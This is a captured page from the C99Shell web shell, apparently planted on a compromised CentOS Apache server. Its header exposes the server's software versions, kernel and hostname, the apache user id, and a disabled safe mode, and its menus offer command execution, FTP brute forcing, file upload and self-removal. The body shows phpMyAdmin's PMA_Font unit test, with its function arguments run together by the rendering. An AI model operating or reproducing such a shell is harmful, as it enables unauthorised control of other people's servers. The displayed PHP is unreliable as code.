!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/usr/share/phpMyAdmin/test/classes/   drwxr-xr-x
Free 9.16 GB of 93.48 GB (9.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     PMA_Font_test.php (6.2 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Tests for PMA_Font class
 *
 * @package PhpMyAdmin-test
 */

/*
 * Include to test.
 */
require_once 'libraries/Font.class.php';

/**
 * Tests for PMA_Font class
 *
 * @package PhpMyAdmin-test
 */
class PMA_Font_Test extends PHPUnit_Framework_TestCase
{
    
/**
     * Test getStringWidth with different characters.
     *
     * @return void
     */
    
function testGetStringWidth()
    {
        
// empty string
        
$this->assertEquals(
            
0,
            
PMA_Font::getStringWidth("""arial""10")
        );

        
// empty string
        
$this->assertEquals(
            
3,
            
PMA_Font::getStringWidth(" ""arial""10")
        );

        
// string "a"
        
$this->assertEquals(
            
6,
            
PMA_Font::getStringWidth("a""arial""10")
        );

        
// string "aa"
        
$this->assertEquals(
            
12,
            
PMA_Font::getStringWidth("aa""arial""10")
        );

        
// string "i"
        
$this->assertEquals(
            
3,
            
PMA_Font::getStringWidth("i""arial""10")
        );

        
// string "f"
        
$this->assertEquals(
            
3,
            
PMA_Font::getStringWidth("f""arial""10")
        );

        
// string "t"
        
$this->assertEquals(
            
3,
            
PMA_Font::getStringWidth("t""arial""10")
        );

        
// string "if"
        
$this->assertEquals(
            
5,
            
PMA_Font::getStringWidth("if""arial""10")
        );

        
// string "it"
        
$this->assertEquals(
            
6,
            
PMA_Font::getStringWidth("it""arial""10")
        );

        
// string "r"
        
$this->assertEquals(
            
4,
            
PMA_Font::getStringWidth("r""arial""10")
        );

        
// string "1"
        
$this->assertEquals(
            
5,
            
PMA_Font::getStringWidth("1""arial""10")
        );

        
// string "c"
        
$this->assertEquals(
            
5,
            
PMA_Font::getStringWidth("c""arial""10")
        );

        
// string "F"
        
$this->assertEquals(
            
7,
            
PMA_Font::getStringWidth("F""arial""10")
        );

        
// string "A"
        
$this->assertEquals(
            
7,
            
PMA_Font::getStringWidth("A""arial""10")
        );

        
// string "w"
        
$this->assertEquals(
            
8,
            
PMA_Font::getStringWidth("w""arial""10")
        );

        
// string "G"
        
$this->assertEquals(
            
8,
            
PMA_Font::getStringWidth("G""arial""10")
        );

        
// string "m"
        
$this->assertEquals(
            
9,
            
PMA_Font::getStringWidth("m""arial""10")
        );

        
// string "W"
        
$this->assertEquals(
            
10,
            
PMA_Font::getStringWidth("W""arial""10")
        );

        
// string "$"
        
$this->assertEquals(
            
3,
            
PMA_Font::getStringWidth("$""arial""10")
        );
    }

    
/**
     * Test getStringWidth with different fonts.
     *
     * @return void
     */
    
function testGetStringWidthFont()
    {
        
// string "phpMyAdmin", with Arial 10
        
$this->assertEquals(
            
59,
            
PMA_Font::getStringWidth("phpMyAdmin""arial""10")
        );

        
// string "phpMyAdmin", with No font
        
$this->assertEquals(
            
59,
            
PMA_Font::getStringWidth("phpMyAdmin""""10")
        );

        
// string "phpMyAdmin", with Times 10
        
$this->assertEquals(
            
55,
            
PMA_Font::getStringWidth("phpMyAdmin""times""10")
        );

        
// string "phpMyAdmin", with Broadway 10
        
$this->assertEquals(
            
73,
            
PMA_Font::getStringWidth("phpMyAdmin""broadway""10")
        );

    }

    
/**
     * Test getStringWidth with different font sizes.
     *
     * @return void
     */
    
function testGetStringWidthSize()
    {
        
// string "phpMyAdmin", with font size 0
        
$this->assertEquals(
            
0,
            
PMA_Font::getStringWidth("phpMyAdmin""arial""0")
        );

        
// string "phpMyAdmin", with Arial 10
        
$this->assertEquals(
            
59,
            
PMA_Font::getStringWidth("phpMyAdmin""arial""10")
        );

        
// string "phpMyAdmin", with Arial 11
        
$this->assertEquals(
            
65,
            
PMA_Font::getStringWidth("phpMyAdmin""arial""11")
        );

        
// string "phpMyAdmin", with Arial 20
        
$this->assertEquals(
            
118,
            
PMA_Font::getStringWidth("phpMyAdmin""arial""20")
        );
    }

    
/**
     * Test getStringWidth with a custom charList.
     *
     * @return void
     */
    
function testGetStringWidthCharLists()
    {
        
// string "a", with invalid charlist (= string)
        
$this->assertEquals(
            
6,
            
PMA_Font::getStringWidth("a""arial""10""list")
        );

        
// string "a", with invalid charlist (= array without proper structure)
        
$this->assertEquals(
            
6,
            
PMA_Font::getStringWidth("a""arial""10", array("list"))
        );

        
// string "a", with invalid charlist (= array without proper structure :
        // modifier is missing
        
$this->assertEquals(
            
6,
            
PMA_Font::getStringWidth(
                
"a""arial""10",
                array(array(
"chars" => "a"))
            )
        );

        
// string "a", with invalid charlist (= array without proper structure :
        // chars is missing
        
$this->assertEquals(
            
6,
            
PMA_Font::getStringWidth(
                
"a""arial""10",
                array(array(
"modifier" => 0.61))
            )
        );

        
// string "a", with invalid charlist (= array without proper structure :
        // chars is not an array
        
$this->assertEquals(
            
6,
            
PMA_Font::getStringWidth(
                
"a""arial""10",
                array(array(
"chars" => "a""modifier" => 0.61))
            )
        );

        
// string "a", with valid charlist
        
$this->assertEquals(
            
7,
            
PMA_Font::getStringWidth(
                
"a""arial""10",
                array(array(
"chars" => array("a"), "modifier" => 0.61))
            )
        );
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0045 ]--